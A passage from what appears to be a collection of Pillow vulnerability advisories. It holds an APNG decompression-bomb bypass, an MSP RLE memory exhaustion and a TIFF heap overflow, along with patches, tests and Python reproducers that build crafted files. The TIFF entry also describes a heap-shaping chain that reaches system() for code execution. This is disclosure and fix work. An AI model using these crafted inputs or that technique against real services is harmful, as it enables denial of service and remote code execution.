`Image._decompression_bomb_check()` on it, and fills an image of only that size instead of filling `self.size` and cropping. It also narrows the `dispose_extent` annotation to `tuple[int, int, int, int]` so the bomb-check call type-checks. The trade-off is that a full-canvas first frame still allocates a bomb-checked image inside `Image.open()` \u2014 up to about 2\u00d7`MAX_IMAGE_PIXELS`\u00d74 bytes (660 MB for a 13000\u00d713000 full-frame `fcTL`, with `DecompressionBombWarning`) \u2014 and a first `fcTL` covering a canvas above the error threshold now raises `DecompressionBombError` from `_seek(0)` rather than from `Image.open()`'s own check. With either patch applied to a clean checkout, the reproducer prints `OK` and all 54 files in `Tests/images/apng/` decode byte-identically frame by frame, including after a rewind. ## The patch (1 of 2) Create the APNG OP_BACKGROUND disposal image when the next frame is sought, sized to the frame extent, not in _open() from the IHDR size Applies to `src/PIL/PngImagePlugin.py` at the commit above. ```diff diff --git a/Tests/test_file_apng.py b/Tests/test_file_apng.py index 15689476c..6e61c8b4b 100644 --- a/Tests/test_file_apng.py +++ b/Tests/test_file_apng.py @@ -161,6 +161,37 @@ def test_apng_dispose_op_background_p_mode() -> None: assert im.size == (128, 64) +def test_apng_dispose_op_background_decompression_bomb() -> None: + # The disposal image must not be created from the declared image size + # before the decompression bomb check in Image.open() has run. + # A canvas this wide cannot be allocated, so if it is attempted, + # a MemoryError is raised instead of a DecompressionBombError. + o16 = PngImagePlugin.o16 + o32 = PngImagePlugin.o32 + + b = BytesIO() + b.write(PngImagePlugin._MAGIC) + PngImagePlugin.putchunk(b, b\"IHDR\", o32(2**31 - 1), o32(1), b\"\\x08\\x06\\x00\\x00\\x00\") + PngImagePlugin.putchunk(b, b\"acTL\", o32(2), o32(0)) + PngImagePlugin.putchunk( + b, + b\"fcTL\", + o32(0), # sequence number + o32(1), # width + o32(1), # height + o32(0), # x offset + o32(0), # y offset + o16(1), # delay numerator + o16(10), # delay denominator + bytes([PngImagePlugin.Disposal.OP_BACKGROUND, PngImagePlugin.Blend.OP_SOURCE]), + ) + PngImagePlugin.putchunk(b, b\"IDAT\") + PngImagePlugin.putchunk(b, b\"IEND\") + + with pytest.raises(Image.DecompressionBombError): + Image.open(b) + + def test_apng_blend() -> None: with Image.open(\"Tests/images/apng/blend_op_source_solid.png\") as im: assert isinstance(im, PngImagePlugin.PngImageFile) diff --git a/src/PIL/PngImagePlugin.py b/src/PIL/PngImagePlugin.py index 0eb2fd5e4..24fa587c1 100644 --- a/src/PIL/PngImagePlugin.py +++ b/src/PIL/PngImagePlugin.py @@ -931,6 +931,13 @@ class PngImageFile(ImageFile.ImageFile): # ensure previous frame was loaded self.load() + if self.dispose_op == Disposal.OP_BACKGROUND: + # Created here rather than in the previous _seek(), so that + # nothing is allocated from the declared image size before + # the decompression bomb check in Image.open() has run. + # Only dispose the extent of the previous frame. + x0, y0, x1, y1 = self.dispose_extent + self.dispose = Image.core.fill(self.mode, (x1 - x0, y1 - y0)) if self.dispose: self.im.paste(self.dispose, self.dispose_extent) self._prev_im = self.im.copy() @@ -996,9 +1003,6 @@ class PngImageFile(ImageFile.ImageFile): if self._prev_im: self.dispose = self._prev_im.copy() self.dispose = self._crop(self.dispose, self.dispose_extent) - elif self.dispose_op == Disposal.OP_BACKGROUND: - self.dispose = Image.core.fill(self.mode, self.size) - self.dispose = self._crop(self.dispose, self.dispose_extent) def tell(self) -> int: return self.__frame ``` ## The patch (2 of 2) Bomb-check and fill only the fcTL extent for APNG OP_BACKGROUND disposal instead of a full IHDR-sized canvas in PngImageFile._seek() Applies to `src/PIL/PngImagePlugin.py` at the commit above. ```diff diff --git a/Tests/test_file_apng.py b/Tests/test_file_apng.py index 15689476c..6e61c8b4b 100644 --- a/Tests/test_file_apng.py +++ b/Tests/test_file_apng.py @@ -161,6 +161,37 @@ def test_apng_dispose_op_background_p_mode() -> None: assert im.size == (128, 64) +def test_apng_dispose_op_background_decompression_bomb() -> None: + # The disposal image must not be created from the declared image size + # before the decompression bomb check in Image.open() has run. + # A canvas this wide cannot be allocated, so if it is attempted, + # a MemoryError is raised instead of a DecompressionBombError. + o16 = PngImagePlugin.o16 + o32 = PngImagePlugin.o32 + + b = BytesIO() + b.write(PngImagePlugin._MAGIC) + PngImagePlugin.putchunk(b, b\"IHDR\", o32(2**31 - 1), o32(1), b\"\\x08\\x06\\x00\\x00\\x00\") + PngImagePlugin.putchunk(b, b\"acTL\", o32(2), o32(0)) + PngImagePlugin.putchunk( + b, + b\"fcTL\", + o32(0), # sequence number + o32(1), # width + o32(1), # height + o32(0), # x offset + o32(0), # y offset + o16(1), # delay numerator + o16(10), # delay denominator + bytes([PngImagePlugin.Disposal.OP_BACKGROUND, PngImagePlugin.Blend.OP_SOURCE]), + ) + PngImagePlugin.putchunk(b, b\"IDAT\") + PngImagePlugin.putchunk(b, b\"IEND\") + + with pytest.raises(Image.DecompressionBombError): + Image.open(b) + + def test_apng_blend() -> None: with Image.open(\"Tests/images/apng/blend_op_source_solid.png\") as im: assert isinstance(im, PngImagePlugin.PngImageFile) diff --git a/src/PIL/PngImagePlugin.py b/src/PIL/PngImagePlugin.py index 0eb2fd5e4..0111a17d7 100644 --- a/src/PIL/PngImagePlugin.py +++ b/src/PIL/PngImagePlugin.py @@ -985,7 +985,7 @@ class PngImageFile(ImageFile.ImageFile): msg = \"image not found in APNG frame\" raise EOFError(msg) if dispose_extent: - self.dispose_extent: tuple[float, float, float, float] = dispose_extent + self.dispose_extent: tuple[int, int, int, int] = dispose_extent # setup frame disposal (actual disposal done when needed in the next _seek()) if self._prev_im is None and self.dispose_op == Disposal.OP_PREVIOUS: @@ -997,8 +997,14 @@ class PngImageFile(ImageFile.ImageFile): self.dispose = self._prev_im.copy() self.dispose = self._crop(self.dispose, self.dispose_extent) elif self.dispose_op == Disposal.OP_BACKGROUND: - self.dispose = Image.core.fill(self.mode, self.size) - self.dispose = self._crop(self.dispose, self.dispose_extent) + # only dispose the extent in this frame, rather than filling an + # image of the declared size before Image.open() has been able to + # run the decompression bomb check + x0, y0, x1, y1 = self.dispose_extent + dispose_size = (x1 - x0, y1 - y0) + + Image._decompression_bomb_check(dispose_size) + self.dispose = Image.core.fill(self.mode, dispose_size) def tell(self) -> int: return self.__frame ``` ## The reproducer
Reproducer \u2014 repro, 3,564 bytes (click to open) Its last line is `BUG` when the issue triggers and `OK` when it does not. Re-run on a clean build of that commit it printed `BUG`. ```python #!/usr/bin/env python3 \"\"\" Image.open() on a 126-byte APNG allocates and zero-fills a full canvas of the header-declared size *before* Pillow's decompression-bomb check rejects it. We build two PNGs that are identical except for one byte, the first fcTL chunk's dispose_op: control: dispose_op = 0 (OP_NONE) attack: dispose_op = 1 (OP_BACKGROUND) Both declare 22000x22000 RGBA (484 Mpixel, above the 2 * MAX_IMAGE_PIXELS error threshold), so Image.open() must reject both with DecompressionBombError -- and that check exists precisely so the rejection is cheap. For the attack file, PngImageFile._open() -> _seek(0) first runs Image.core.fill(mode, (22000, 22000)), touching ~1.9 GB, and only then is the bomb check reached. Each file is opened in a fresh interpreter that reports its own peak RSS. \"\"\" import struct import subprocess import sys import zlib SIZE = 22000 # 22000 * 22000 * 4 bytes = 1.94 GB canvas def chunk(cid, data): crc = zlib.crc32(cid + data) return struct.pack(\">I\", len(data)) + cid + data + struct.pack(\">I\", crc) def build_apng(dispose_op): ihdr = struct.pack(\">IIBBBBB\", SIZE, SIZE, 8, 6, 0, 0, 0) # 8-bit RGBA actl = struct.pack(\">II\", 2, 0) # animated: 2 frames -> _open() calls _seek(0) # frame 0: seq 0, a 1x1 rectangle at (0,0) (passes fcTL's bounds check), # delay 1/10 s, the dispose_op under test, blend_op 0 fctl = struct.pack(\">IIIIIHHBB\", 0, 1, 1, 0, 0, 1, 10, dispose_op, 0) idat = zlib.compress(b\"\\x00\" + b\"\\x00\\x00\\x00\\x00\") # one 1x1 RGBA scanline return (b\"\\x89PNG\\r\\n\\x1a\\n\" + chunk(b\"IHDR\", ihdr) + chunk(b\"acTL\", actl) + chunk(b\"fcTL\", fctl) + chunk(b\"IDAT\", idat) + chunk(b\"IEND\", b\"\")) # What an application does with an untrusted upload: Image.open() with default # settings, no load(). Prints the outcome and this process's peak RSS in MB. OPEN_UNTRUSTED = \"\"\" import io, resource, sys from PIL import Image try: Image.open(io.BytesIO(sys.stdin.buffer.read())) outcome = \"opened\" except Exception as e: outcome = type(e).__name__ print(outcome, resource.getrusage(resource.RUSAGE_SELF).ru_maxrss // 1024) \"\"\" def open_in_child(data): p = subprocess.run([sys.executable, \"-c\", OPEN_UNTRUSTED], input=data, capture_output=True, timeout=60) if p.returncode == -9: # SIGKILL: OOM-killed on a small host -- also the bug return \"oom-killed(rc=-9)\", None if p.returncode != 0: # anything else is a harness failure, not evidence print(p.stdout.decode(), p.stderr.decode(), sep=\"\\n\") print(\"child failed unexpectedly (rc=%d)\" % p.returncode) print(\"OK\") sys.exit(1) outcome, peak_mb = p.stdout.split() return outcome.decode(), int(peak_mb) control = build_apng(dispose_op=0) attack = build_apng(dispose_op=1) c_outcome, c_mb = open_in_child(control) a_outcome, a_mb = open_in_child(attack) print(\"%d-byte APNG declaring %dx%d RGBA; Image.open(BytesIO(data)), defaults\" % (len(attack), SIZE, SIZE)) print(\" control dispose_op=0 OP_NONE -> %-22s peak RSS %5s MB\" % (c_outcome, c_mb)) print(\" attack dispose_op=1 OP_BACKGROUND -> %-22s peak RSS %5s MB\" % (a_outcome, a_mb)) # Expected: both rejected at roughly interpreter size. Bug: the attack file # made the \"cheap\" rejection cost a full-size canvas (or killed the process). if a_mb is None or (a_mb >= 1000 and a_mb >= 20 * c_mb): print(\"Image.open() touched a full %dx%d canvas before the bomb check ran\" % (SIZE, SIZE)) print(\"BUG\") else: print(\"OK\") ```
---"}, {"id": "CVE-2026-112892", "fix_versions": ["13.0.0"], "aliases": ["GHSA-gg2r-wvfm-q9rx"], "description": "### Summary The MSP RLE decoder expands run-length data into an in-memory buffer with no cap tied to the declared image size. A small file that passes the pixel-count check can force hundreds of megabytes or more of allocation when the application loads pixels. ### Details The MSP decoder writes each run into an unbounded `io.BytesIO` and can expand roughly 85x per run: - `src/PIL/MspImagePlugin.py:144-146` ### Impact Memory-exhaustion denial of service from a tiny crafted image in any application that loads pixels. The expansion is decoupled from the declared pixel count, so `MAX_IMAGE_PIXELS` does not bound it."}, {"id": "CVE-2026-112393", "fix_versions": ["13.0.0"], "aliases": ["GHSA-332p-7hrc-92wf"], "description": "``` ============================================================================ Heap buffer overflow in _tiffWriteProc when saving TIFF to BytesIO Location: src/libImaging/TiffDecode.c:94 in _tiffWriteProc() Commit: a707c6b21c313880d0771e54965d142dd42358b6 ============================================================================ ``` Pillow can write attacker-chosen data past the end of a heap buffer when it saves a TIFF image to an in-memory destination such as `io.BytesIO` rather than to a file. The same code also copies leftover heap memory from the process into the saved file. Anyone who can supply an image to a service that opens it and re-saves it as TIFF this way can trigger this with default settings. The attached reproducer crashes the process, and the overflow could potentially be developed further, but code execution is not demonstrated here. The bug is in `_tiffWriteProc` in `src/libImaging/TiffDecode.c`. This is the write callback for the in-memory sink that Pillow gives libtiff whenever the save target has no `fileno()`. While writing the directory, libtiff seeks past the current end of data and writes tag values there. `_tiffWriteProc` sizes its `realloc()` from `state->size + size` instead of from the write position `state->loc`. As a result, the first out-of-line tag value written after that seek can run past the allocation by up to the size of the directory: 12 bytes per entry, 126 bytes in the minimal case, and 2384 bytes observed with a 331-entry directory. The overflowing bytes are the tail of a tag value taken from the uploaded file. No save options are needed, because compression and tags are inherited from the source image. The overflow does require an attacker-sized out-of-line tag to reach libtiff. That happens when the opened TIFF is saved directly (ImageDescription, DocumentName or XMP), or through an embedded ICC profile, which survives `copy()` in `im.info`. The bytes libtiff skips for alignment are never initialised, so any compressed TIFF over 64 KiB written this way also leaks one stale heap byte per padding hole. That leak needs no crafted tag. The attached reproducer builds a 131 KB PackBits TIFF and runs `Image.open(...).save(io.BytesIO(), \"TIFF\")`. Saving the same image to a file path succeeds, but the `BytesIO` save aborts with glibc's `malloc(): corrupted top size`. A second part of the script shows uninitialised heap bytes at the padding offsets of a `BytesIO` save that are zero in the file save. Saves to real files are unaffected. The defect dates to e782fe721e01 (2013) and has been present since Pillow 2.0.0. ## Details When `im.save()` writes a TIFF through libtiff to a target that has no usable `fileno()` (`io.BytesIO`, an HTTP response object, a storage backend stream), libtiff is opened with `TIFFClientOpen()` on Pillow's own in-memory sink, `_tiffWriteProc` / `_tiffSeekProc` in `src/libImaging/TiffDecode.c`. libtiff treats that sink like a file: when it writes the directory it seeks *beyond* the current end of data (to `eof + IFD size`, where the out-of-line tag values go, and one byte further after every odd-length tag value to keep offsets even) and writes there. On a real file the kernel grows the file and zero-fills the gap. The memory sink does neither correctly: 1. `_tiffWriteProc` sizes its `realloc()` from `state->size + size` instead of `state->loc + size`, so the first write after such a seek can land past the end of the new allocation \u2014 a heap buffer overflow whose content is tag data taken from the image being saved. 2. The bytes that libtiff skips are never written, and the grown region is a bare `realloc()`, so they reach the output TIFF with whatever the heap held before. Both are reachable with default settings by the ordinary \"re-encode the upload\" sequence `Image.open(upload); im.save(io.BytesIO(), \"TIFF\")` with no save options: `compression` defaults to the source file's (`src/PIL/TiffImagePlugin.py:1734`), any compression other than raw selects the libtiff writer (`:1746`), the source's `tag_v2` entries are passed through to libtiff (`:1959`), and a target without `fileno()` leaves `_fp = 0` (`:1928-1935`), i.e. the memory sink. The overflow half additionally needs an attacker-controlled out-of-line tag value of the right length to reach libtiff. With the opened `TiffImageFile` saved directly (`tag_v2` passthrough) that can be a ~64 KiB ASCII tag (269/270/271/272) or the XMP packet (tag 700, type BYTE \u2014 arbitrary bytes), and the number of tags the upload carries sets the IFD size, i.e. the overrun length (12 bytes per entry; 2384 bytes with a 331-entry IFD observed). After `convert()`/`resize()`/`thumbnail()`/`copy()` the `tag_v2` entries are gone, but `im.info[\"compression\"]` (still selecting libtiff) and `im.info[\"icc_profile\"]` survive and the ICC profile is written as tag 34675 (`:1822-1824`), an equally attacker-controlled out-of-line value: `Image.open(x).copy().save(BytesIO(), \"TIFF\")` with the payload in the ICC profile produces the identical ASan report. The stale-byte half needs no attacker tag at all. **Proof (overflow).** A 131 198-byte hand-built TIFF \u2014 mode L, 7\u00d78191, `Compression=32773` (PackBits), an `ImageDescription` of 65 535 characters \u2014 opened with `Image.open()` and saved with `im.save(io.BytesIO(), \"TIFF\")` aborts a stock build with glibc's `malloc(): corrupted top size`. The same call against an AddressSanitizer build of the C extensions reports ``` AddressSanitizer: heap-buffer-overflow ... WRITE of size 65536 #1 _tiffWriteProc src/libImaging/TiffDecode.c:115 #4 TIFFFlush #5 ImagingLibTiffEncode src/libImaging/TiffDecode.c:1056 0 bytes to the right of 131072-byte region, allocated by realloc in _tiffWriteProc src/libImaging/TiffDecode.c:103 ``` **Proof (uninitialised bytes).** Saving one 300\u00d7300 RGB image as `compression=\"tiff_lzw\"` with four odd-length ASCII tags to a `BytesIO`, once with `MALLOC_PERTURB_=1` (glibc fills fresh allocations with 0xfe) and once with `MALLOC_PERTURB_=170` (0x55), gives two 369 463-byte TIFFs that differ in exactly 4 bytes, 0xfe vs 0x55, at offsets 369177, 369417, 369423, 369451 \u2014 the pad byte between the odd-length last strip and the IFD, and the pad byte after each odd-length tag value except the last. The same save to a filename gives byte-identical files with 0x00 there. Without any allocator tweaks, after a few 64 KB\u2013400 KB Python `bytes` objects filled with 0xa7 are created and freed, re-saving an uploaded LZW TIFF carrying ten odd-length ASCII tags yields 0xa7 at all nine pad offsets. ### Code walk-through The sink's state is `{data, size (allocated), loc (position), eof (high-water mark)}`; the encoder path starts it as a zeroed 64 KiB block (`TiffDecode.c:863`, `calloc(bufsize, 1)` with `bufsize = 64*1024`, `flrealloc = 1`). Seeking is unconstrained: ```c /* src/libImaging/TiffDecode.c:124-141 _tiffSeekProc */ case 0: state->loc = off; break; /* may exceed eof and size */ case 1: state->loc += off; break; case 2: state->loc = state->eof + off; break; ``` and writing assumes `loc <= size`: ```c /* src/libImaging/TiffDecode.c:90-117 _tiffWriteProc */ to_write = MIN(size, state->size - (tsize_t)state->loc); /* negative if loc > size */ if (state->flrealloc && size > to_write) { tsize_t newsize = state->size; while (newsize < (size + state->size)) { /* capacity target ignores loc */ \u2026 newsize += 64 * 1024; } new_data = realloc(state->data, newsize); /* tail left uninitialised */ \u2026 state->size = newsize; to_write = size; } _TIFFmemcpy((UINT8 *)state->data + state->loc, buf, to_write); /* :115 */ state->loc += (toff_t)to_write; state->eof = MAX(state->loc, state->eof); ``` A gdb trace of the sink calls during the overflowing save (stock build, breakpoints on the two procs) shows how libtiff drives it: ``` write size=63064 at loc=8 (eof=8 size=65536) strip data (PackBits re-encode: write size=2464 at loc=63072 (eof=63072 size=65536) 8 bytes/row \u00d7 8191 rows) seek off=0 whence=2 -> loc=65536 = eof = size TIFFWriteDirectory: end of data, already even seek off=4; write size=4 at loc=4 link IFD offset into header seek off=65662 whence=0 (eof=65536 size=65536) 65536 + 126-byte IFD (10 entries) = tag data area write size=65536 at loc=65662 (eof=65536 size=65536) ImageDescription, first out-of-line value ``` For that last call `to_write = 65536 \u2212 65662 = \u2212126`, the loop grows `newsize` until it is \u2265 `65536 + 65536`, i.e. to 131072, and the `memcpy` writes `[65662, 131198)` into a 131072-byte block: 126 bytes past the end, containing the last 126 bytes of the description string. `loc`/`eof` become 131198 > `size`; `ImagingLibTiffEncode` later sets `size = eof` (`:1067`) and copies `[0, eof)` out of the same block (`:1073`), reading past it as well. The general condition is: at directory-write time the strip data ends within *IFD-size* bytes of the current allocation boundary, and the first out-of-line tag value has a length just below a multiple of 64 KiB. The overrun length is `IFD size + pad \u2212 slack`, so it grows by 12 bytes per additional tag. For single-band images (L, P, 1, I;16, F\u2026) `BitsPerSample` is stored inline and the first out-of-line value in tag order is `DocumentName` (269) or `ImageDescription` (270) \u2014 both free-length ASCII strings taken from the source file. Pillow re-encodes the pixels itself, but with PackBits the compressed size is a deterministic function of attacker-chosen pixel rows (the reproducer uses rows of 7 distinct bytes \u2192 8 bytes per row \u2192 exactly 65536 bytes including the 8-byte header), so the attacker controls both quantities. For multi-band images the 6-byte `BitsPerSample` array is written first and absorbs the growth, which is why RGB sources do not hit the overflow. The disclosure half is the benign version of the same sequence. In the LZW/RGB trace the strip data ends at the odd offset 369177; libtiff places the IFD at 369178 and the tag values from 369364 on, and after each odd-length value seeks one byte forward before the next write (`seek off=369418 (loc=369417)`, `write size=5 at loc=369418`, \u2026). Offsets 369177, 369417, 369423 and 369451 are therefore never written. They lie in the part of the buffer obtained by the `realloc()` calls at `:103` (the block grew 65536 \u2192 196608 \u2192 327680 \u2192 458752 during the strip writes), which is not cleared, so the emitted file carries the previous heap contents at those positions. Holes that fall inside the initial 64 KiB are zero only because that block is `calloc`'d. The defect was introduced in e782fe721e01 (\"initial merge of wiredfool/Python-Imaging-Library-G4-Tiff-Support\", 2013-03-08), first released in Pillow 2.0.0. ## Impact Any service that accepts an image and produces a TIFF rendition into a non-file object \u2014 the usual pattern for returning or uploading the result without touching disk \u2014 is exposed to whoever supplies the image, with no non-default Pillow setting involved. The overflow additionally requires that an attacker-controlled out-of-line tag value reaches libtiff: the uploaded ImageDescription/DocumentName/XMP when the application saves the opened TIFF itself (or copies its tags into the save), or the embedded ICC profile, which survives `convert()`/`resize()`/`thumbnail()`/`copy()` in `im.info` together with the compression. Under those conditions, with a crafted single-band TIFF the uploader gets a heap out-of-bounds write in the worker process of IFD-size bytes (12 bytes per directory entry the upload carries \u2014 126 bytes with the minimal reproducer, 2384 bytes with a 331-entry IFD) immediately past a 128 KiB-class `realloc` block, with the overwritten bytes being the tail of a tag value they chose; on the stock build the minimal reproducer is detected by glibc and kills the process (`SIGABRT`). Given two addresses leaked by a separate bug, this write has been turned into code execution against a stock build of this commit with ASLR/PIE/NX enabled and default settings (that proof-of-concept is not included with this report): a single-process stdlib `http.server` worker doing nothing but `Image.open(BytesIO(body)).save(BytesIO(), \"TIFF\")` per upload executed an attacker-chosen shell command (`id>/tmp/r.XXXXXX`), answered `200` and kept serving (12/12 against a freshly started worker, 2/6 after twenty unrelated uploads; a miss normally leaves the worker running and is retryable). The two addresses (`&system`, `&PyBytes_Type`) were taken from an unrelated information disclosure in the same process; everything else is this bug plus properties of Pillow's TIFF reader used as a heap-shaping script. The 4.7 MB attack TIFF is a 397\u00d7165 8-bit PackBits image whose rows re-encode to exactly 65 528 bytes (strip ends at sink offset 65 536), a 63 942-byte XMP packet (tag 700) as the first out-of-line value, and ~500 private IFD entries. Because `TiffImagePlugin` turns every IFD entry into one `bytes` object in IFD order, frees an earlier entry when a later one repeats its tag number, and parses the IFD three times per request (`TiffImagePlugin.py:1258`, `:1271`, and `getexif()` from `load_end()` at `:1331`), those entries drain glibc's free lists, punch exact-size holes for every large allocation the save makes, and arrange that the 128 KiB `realloc` of the sink lands directly below a live 0x540 chunk followed by libtiff's own `TIFF` handle (`malloc(1313)` from `TIFFClientOpen`). The 2384 overflowing bytes rewrite the start of the `TIFF` struct with the command string, a zeroed `tif_dir`, `tif_diroff = 65536`, and `tif_cleanup = system` at +0x3f8; libtiff resumes `TIFFWriteDirectorySec` on the modified handle and calls `(*tif->tif_cleanup)(tif)`. With gdb on `__libc_system` the call arrives as `__libc_system(\"id>/tmp/r.\u2026\") \u2190 libtiff.so.6 \u2190 TIFFFlush \u2190 ImagingLibTiffEncode (src/libImaging/TiffDecode.c:1056) \u2190 _encode (src/encode.c:139)`. Offsets are per-binary constants (glibc 2.36, CPython 3.12.14, libtiff 4.5.0, this `_imaging.so`), all obtainable from public distribution files. Independently, every compressed TIFF written to such a target that exceeds 64 KiB discloses one byte of stale heap per alignment hole (one per odd-length tag value plus possibly one before the IFD; the count is set by the tags in the uploaded file) at predictable offsets in the returned file \u2014 low bandwidth, but it is other requests' freed data. File-path and real-fd targets (`TIFFFdOpen`) are unaffected by either issue. The primitive is the same class and attacker position as the `TiffDecode.c` decode-side heap overflows CVE-2020-35654, CVE-2021-25289 and CVE-2020-10379, but on the encode path and behind the output-to-a-non-file and tag-passthrough preconditions above, with code execution additionally depending on an address leak from another bug. ## Reproducing `repro` is a single Python script that uses the installed Pillow, writes its inputs into a temporary directory. It has two parts. Each part compares saving to a file path, which goes through `TIFFFdOpen` and is correct, with the same save into an `io.BytesIO`, which goes through the `_tiffWriteProc` memory sink. **Part 1: heap overflow.** `setup_env()` builds `upload.tif` (131 198 bytes) byte by byte: a mode L, 7\u00d78191 image with `Compression=32773` (PackBits) and a 65 535-character `ImageDescription`. The sizes are picked so that when Pillow re-encodes the pixels, the strip comes to 8 + 8191 \u00d7 8 = 65 536 bytes and ends exactly at the sink's initial 64 KiB buffer. libtiff then seeks past the 126-byte IFD and writes the 65 536-byte description at offset 65 662. The sink grows only to 131 072 bytes, so the last 126 bytes of the description are written past the end of the heap block. In a fresh child process, the script runs `Image.open(\"upload.tif\").save(, \"TIFF\")` with no options, once with `\"out.tif\"` as the target and once with `io.BytesIO()`. The file save exits with 0. The BytesIO save is killed by SIGABRT, with glibc reporting `malloc(): corrupted top size`. **Part 2: stale heap bytes in the output.** A child started with `MALLOC_PERTURB_=170` (glibc fills fresh allocations with 0x55) saves a seeded-noise 300\u00d7300 RGB image with `compression=\"tiff_lzw\"` and four odd-length ASCII tags. It saves once to a file and once to a BytesIO, then prints every offset where the two outputs differ. libtiff skips one pad byte before the IFD and one after each odd-length tag value. The file has 0x00 at those offsets, but the BytesIO output still holds the 0x55 that was in uninitialised `realloc()` memory. Expected output on this tree: ``` upload.tif: 131198 bytes save to file path : exit code 0, out.tif = 131210 bytes save to BytesIO : exit code -6, stderr: 'malloc(): corrupted top size' -> heap overflow crashed the process: True same image, same options, saved to a file path vs. to a BytesIO: offset 369177: file 0x00 BytesIO 0x55 offset 369417: file 0x00 BytesIO 0x55 offset 369423: file 0x00 BytesIO 0x55 offset 369451: file 0x00 BytesIO 0x55 -> BytesIO output contains never-written heap bytes: True BUG ``` The last line is `BUG` if either part shows its defect, and `OK` otherwise. With the attached patch applied and rebuilt, the BytesIO save exits with 0, the two outputs are identical, and the script prints `OK`. ## Suggested fix The attached patch makes `_tiffWriteProc` in `src/libImaging/TiffDecode.c` honour sparse-file semantics: it sizes the buffer from the write position, and zeroes what `realloc()` adds (the initial block is already `calloc`'d, so every byte libtiff skips then reads as 0, exactly as through `TIFFFdOpen`). For the non-reallocating case (`flrealloc == 0`), where `loc > size` would also make `to_write` negative, it rejects the write with a `TIFFError`, the same idiom `_tiffReadProc` uses: ```diff - while (newsize < (size + state->size)) { + while (newsize < (size + (tsize_t)state->loc)) { \u2026 + memset((UINT8 *)new_data + state->size, 0, newsize - state->size); state->data = new_data; state->size = newsize; to_write = size; + } else if (to_write < 0) { + TIFFError(\"_tiffWriteProc\", \"Invalid Write at loc %\" PRIu64 \", size: %\" PRIu64, \u2026); + return 0; } ``` `_tiffSeekProc` is left unconstrained, since libtiff legitimately seeks past the end of data; with the write proc fixed, `eof` can no longer exceed `size`, so the read-out in `ImagingLibTiffEncode` (`:1067`, `:1073`) stays within the block. The patch also adds `test_save_bytesio_seek_past_end` to `Tests/test_file_libtiff.py`, which saves the PackBits 64 KiB-boundary case and an LZW case with odd-length tags to both a file and a `BytesIO` and asserts the outputs are identical. With the patch applied and rebuilt, the BytesIO output is byte-identical to the file output, no AddressSanitizer report is produced for tag lengths 65410/65535/131071/196607, the code-execution chain described under Impact no longer runs its command, and the existing TIFF tests pass. ## The patch Size the libtiff in-memory write buffer from the write position, not its current size, and zero the space added by realloc in _tiffWriteProc Applies to `src/libImaging/TiffDecode.c` at the commit above. ```diff diff --git a/Tests/test_file_libtiff.py b/Tests/test_file_libtiff.py index 3d804ea4a..d2a926a62 100644 --- a/Tests/test_file_libtiff.py +++ b/Tests/test_file_libtiff.py @@ -760,6 +760,38 @@ class TestFileLibTiff(LibTiffTestCase): save_bytesio(\"packbits\") save_bytesio(\"tiff_lzw\") + def test_save_bytesio_seek_past_end(self, tmp_path: Path) -> None: + # When writing the directory, libtiff seeks past the end of the data + # written so far, and then writes the tag values there. Check that the + # in-memory write buffer grows to fit, and that the bytes that are + # skipped over are zero, as they would be when writing to a file. + + # 7 distinct bytes per row: PackBits emits 8 bytes per row, so the strip + # plus the header are exactly 64 KiB, the initial size of the buffer + im = Image.new(\"L\", (7, 8191)) + im.putdata([(i * 37) & 0xFF for i in range(7 * 8191)]) + kwargs = {\"compression\": \"packbits\", \"description\": \"D\" * 65535} + + outfile = tmp_path / \"temp.tif\" + im.save(outfile, **kwargs) + buffer_io = io.BytesIO() + im.save(buffer_io, format=\"tiff\", **kwargs) + assert buffer_io.getvalue() == outfile.read_bytes() + + # odd-length tag values, so that libtiff pads between them. Large enough + # that the buffer has to be reallocated + im = hopper().resize((300, 300)) + kwargs = { + \"compression\": \"tiff_lzw\", + \"description\": \"abcdef\", + \"software\": \"xyz0\", + \"tiffinfo\": {315: \"artist\", 33432: \"copyright!\"}, + } + im.save(outfile, **kwargs) + buffer_io = io.BytesIO() + im.save(buffer_io, format=\"tiff\", **kwargs) + assert buffer_io.getvalue() == outfile.read_bytes() + def test_save_ycbcr(self, tmp_path: Path) -> None: im = hopper(\"YCbCr\") outfile = tmp_path / \"temp.tif\" diff --git a/src/libImaging/TiffDecode.c b/src/libImaging/TiffDecode.c index 8a57c523d..dd9945493 100644 --- a/src/libImaging/TiffDecode.c +++ b/src/libImaging/TiffDecode.c @@ -87,11 +87,13 @@ _tiffWriteProc(thandle_t hdata, tdata_t buf, tsize_t size) { TRACE((\"_tiffWriteProc: %d \\n\", (int)size)); dump_state(state); + // libtiff may have seeked past the end of the buffer, e.g. when writing the + // directory, so the required size is based on the current location. to_write = MIN(size, state->size - (tsize_t)state->loc); if (state->flrealloc && size > to_write) { tdata_t new_data; tsize_t newsize = state->size; - while (newsize < (size + state->size)) { + while (newsize < (size + (tsize_t)state->loc)) { if (newsize > INT_MAX - 64 * 1024) { return 0; } @@ -105,9 +107,20 @@ _tiffWriteProc(thandle_t hdata, tdata_t buf, tsize_t size) { // fail out return 0; } + // zero the new space, so that any bytes libtiff seeks over without + // writing are 0 in the output, as they would be in a file + memset((UINT8 *)new_data + state->size, 0, newsize - state->size); state->data = new_data; state->size = newsize; to_write = size; + } else if (to_write < 0) { + TIFFError( + \"_tiffWriteProc\", + \"Invalid Write at loc %\" PRIu64 \", size: %\" PRIu64, + state->loc, + (toff_t)state->size + ); + return 0; } TRACE((\"to_write: %d\\n\", (int)to_write)); ``` ## The reproducer
Reproducer \u2014 repro, 5,434 bytes (click to open) Its last line is `BUG` when the issue triggers and `OK` when it does not. Re-run on a clean build of that commit it printed `BUG`. ```python #!/usr/bin/env python3 \"\"\" Pillow: heap overflow + stale heap bytes in the libtiff in-memory write sink (_tiffWriteProc, src/libImaging/TiffDecode.c). im.save(, \"TIFF\") with any compression goes through libtiff writing into Pillow's memory sink. When libtiff writes the directory it seeks *past* the end of the data written so far and writes tag values there: 1. _tiffWriteProc grows the buffer to `size + write_len` instead of `loc + write_len`, so that write can run off the end of the allocation. 2. The bytes libtiff skipped over are never written, so whatever the heap held there ends up in the output file. The same saves to a file path are fine (the kernel zero-fills skipped bytes), which is the control for both parts. \"\"\" import os import resource import struct import subprocess import sys import tempfile resource.setrlimit(resource.RLIMIT_CORE, (0, 0)) # the overflow aborts; no core file os.chdir(tempfile.mkdtemp()) def run(code, **env): \"\"\"Run a Python snippet against the installed Pillow in a fresh process.\"\"\" return subprocess.run([sys.executable, \"-c\", code], env={**os.environ, **env}, capture_output=True, text=True) def setup_env(): \"\"\"Write upload.tif: an L-mode 7x8191 PackBits TIFF with a 65535-char ImageDescription. Sizes are chosen so that, when Pillow re-encodes it: - the PackBits strip is 8191 